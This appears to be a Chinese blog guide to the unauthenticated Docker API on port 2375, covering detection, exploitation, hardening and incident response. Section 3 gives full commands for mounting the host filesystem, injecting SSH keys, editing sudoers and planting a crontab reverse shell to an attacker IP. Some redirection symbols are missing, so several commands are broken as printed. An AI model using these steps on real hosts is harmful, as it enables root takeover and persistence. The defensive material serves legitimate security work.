Docker 未授权访问漏洞：从检测到利用的完整指南

张

张建站

2026/5/1 6:28:17

10分钟阅读

1. Docker未授权访问漏洞概述第一次听说Docker未授权访问漏洞时我正帮朋友排查服务器异常。那台服务器莫名其妙地跑着几个陌生容器CPU占用居高不下。后来发现就是因为2375端口暴露在公网被人钻了空子。这个漏洞简单来说就是Docker守护进程开放在网络端口上却没有任何身份验证相当于把自家大门钥匙插在门锁上。Docker默认使用2375端口提供API服务早期版本1.3.x-1.12.x如果没有正确配置TLS加密和认证攻击者可以直接通过这个端口操控整个Docker环境。最可怕的是由于Docker默认以root权限运行攻击者能轻易获得宿主机的完整控制权。我见过最夸张的案例某企业测试环境的Docker被入侵后攻击者用宿主机的计算资源挖了三个月门罗币才被发现。这个漏洞的风险等级绝对是高危级别。不同于普通Web漏洞只能获取有限权限未授权访问漏洞直接打通了容器与宿主机的隔离层。去年某知名云服务商就因此导致数百台主机沦陷攻击者甚至建立了持久化后门。下面这张表对比了普通漏洞与Docker未授权访问的差异特性普通Web漏洞Docker未授权访问漏洞权限获取难度需层层提权直接root权限影响范围单个应用整个宿主机及所有容器持久化难度需复杂操作简单写入crontab即可典型利用时间数小时至数天通常5分钟内完成攻击2. 漏洞检测实战指南检测Docker未授权访问漏洞比想象中简单。上周我帮客户做安全评估时就用nmap扫出了三个存在问题的Docker主机。这里分享几个我常用的检测手法新手也能快速上手。基础检测法先用nmap扫描目标IP的2375端口。如果看到下面这样的结果就要提高警惕了nmap -sV -p2375 192.168.1.100返回结果中如果显示docker服务接着可以直接访问API端点验证curl http://192.168.1.100:2375/version正常会返回JSON格式的Docker版本信息类似这样{ Platform: {Name: Docker}, Version: 20.10.7, ApiVersion: 1.41, MinAPIVersion: 1.12 }进阶检测技巧有些管理员会修改默认端口这时需要结合其他特征识别。我常用的方法是检查HTTP响应头Docker API会包含特定标识curl -I http://192.168.1.100:2375/_ping正常会返回包含Docker-Distribution-Api-Version的响应头。还有个取巧的方法是用docker客户端直连测试docker -H tcp://192.168.1.100:2375 ps如果不需要任何认证就能列出容器那绝对存在漏洞。自动化检测工具对于批量检测我推荐使用docker-exp这个开源工具。它不仅能检测未授权访问还能自动检查常见错误配置./docker-exp check -t 192.168.1.100这个工具会输出详细的风险评估报告包括是否存在未授权访问、是否启用TLS等关键信息。3. 漏洞利用深度解析发现漏洞只是开始真正理解攻击手法才能做好防御。去年我复现过一起真实攻击案例攻击者仅用四条命令就完全控制了宿主机。下面详细解析两种最典型的利用方式。3.1 SSH公钥注入攻击这是我最常用的方法稳定且隐蔽。原理是通过挂载宿主机根目录直接修改authorized_keys文件。具体操作如下首先创建一个交互式容器并挂载宿主机根目录docker -H tcp://192.168.1.100:2375 run -it -v /:/mnt alpine /bin/sh这个命令会启动一个Alpine Linux容器并将宿主机的/目录挂载到容器的/mnt目录。接下来就可以直接操作宿主机文件系统了。注入SSH公钥的关键步骤# 在容器内执行 mkdir -p /mnt/root/.ssh echo ssh-rsa AAAAB3Nza... your_public_key /mnt/root/.ssh/authorized_keys chmod 600 /mnt/root/.ssh/authorized_keys这里有个坑要注意某些系统会禁用root的SSH登录。这时需要找其他有sudo权限的用户比如ubuntu用户的authorized_keys文件通常位于/home/ubuntu/.ssh/目录下。我曾遇到更棘手的情况目标系统启用了SSH双因素认证。这时可以尝试修改sudoers文件实现免密提权echo ubuntu ALL(ALL) NOPASSWD:ALL /mnt/etc/sudoers修改后就能用普通用户无密码执行sudo命令了。3.2 定时任务反弹Shell当目标网络限制SSH连接时反弹Shell是更好的选择。通过crontab注入的方式稳定性远超直接执行反弹命令。具体实现分三步同样先创建挂载根目录的容器docker -H tcp://192.168.1.100:2375 run -it -v /:/mnt alpine /bin/sh识别系统类型并写入定时任务# 针对Ubuntu/Debian系统 echo * * * * * /bin/bash -i /dev/tcp/你的IP/12345 01 /mnt/var/spool/cron/crontabs/root # 针对CentOS/RHEL系统 echo * * * * * /bin/bash -i /dev/tcp/你的IP/12345 01 /mnt/var/spool/cron/root本地用nc监听即可获得Shellnc -lvnp 12345这里有个实用技巧为避免crontab执行失败可以先测试命令能否正常执行。我通常会先写入一个测试任务echo * * * * * touch /tmp/cron_test /mnt/var/spool/cron/root等一分钟检查/tmp目录下是否出现cron_test文件确认定时任务生效后再写入反弹Shell。4. 防御加固方案去年帮某金融公司处理Docker漏洞时我总结出一套行之有效的防御方案。按照实施难度分为基础版和进阶版。基础加固措施网络层隔离是最快见效的在安全组/防火墙限制2375端口访问仅允许管理IP连接使用VPN或跳板机访问Docker API禁止Docker守护进程监听0.0.0.0修改为127.0.0.1服务配置调整# 修改Docker配置 echo {hosts: [unix:///var/run/docker.sock]} /etc/docker/daemon.json systemctl restart docker这个配置会强制Docker只监听Unix socket关闭TCP端口。进阶安全方案强制TLS认证是终极解决方案。生成证书的步骤虽然复杂但一劳永逸# 创建CA证书 openssl genrsa -aes256 -out ca-key.pem 4096 openssl req -new -x509 -days 365 -key ca-key.pem -sha256 -out ca.pem # 创建服务端证书 openssl genrsa -out server-key.pem 4096 openssl req -subj /CNyour-server -sha256 -new -key server-key.pem -out server.csr echo subjectAltName DNS:your-server,IP:your-ip extfile.cnf openssl x509 -req -days 365 -sha256 -in server.csr -CA ca.pem -CAkey ca-key.pem -out server-cert.pem -extfile extfile.cnf # 配置Docker使用TLS echo { tls: true, tlscert: /etc/docker/server-cert.pem, tlskey: /etc/docker/server-key.pem, tlscacert: /etc/docker/ca.pem } /etc/docker/daemon.json定期安全审计不可少使用docker-bench-security检查安全配置监控/var/log/auth.log和Docker日志中的异常API调用限制容器能力如禁止privileged模式运行最近遇到一个典型案例某公司虽然启用了TLS但证书配置错误导致防护形同虚设。正确的做法是客户端也必须使用证书连接docker --tlsverify --tlscacertca.pem --tlscertcert.pem --tlskeykey.pem -Htcp://server:2375 version5. 应急响应指南即使做了防护万一发现Docker被入侵该怎么办上个月处理的一个应急响应案例很有代表性。凌晨2点接到报警某生产服务器Docker被利用挖矿我们按以下步骤处理立即隔离断开网络连接或关闭Docker服务systemctl stop docker iptables -A INPUT -p tcp --dport 2375 -j DROP取证分析检查异常容器docker ps -a | grep -v Up 查看Docker日志journalctl -u docker.service --since 2023-06-01清除后门检查定时任务crontab -l ls -la /var/spool/cron/检查SSH密钥cat ~/.ssh/authorized_keys恢复服务重置所有Docker容器docker rm -f $(docker ps -aq)更新Docker到最新版本apt-get update apt-get install --only-upgrade docker-ce这个案例给我们的教训是即使内网服务也不该掉以轻心。攻击者通过钓鱼邮件获取内网权限后横向移动发现了未授权的Docker服务。现在我们在所有Docker主机上都部署了文件完整性监控关键文件如authorized_keys、crontab有任何改动都会触发告警。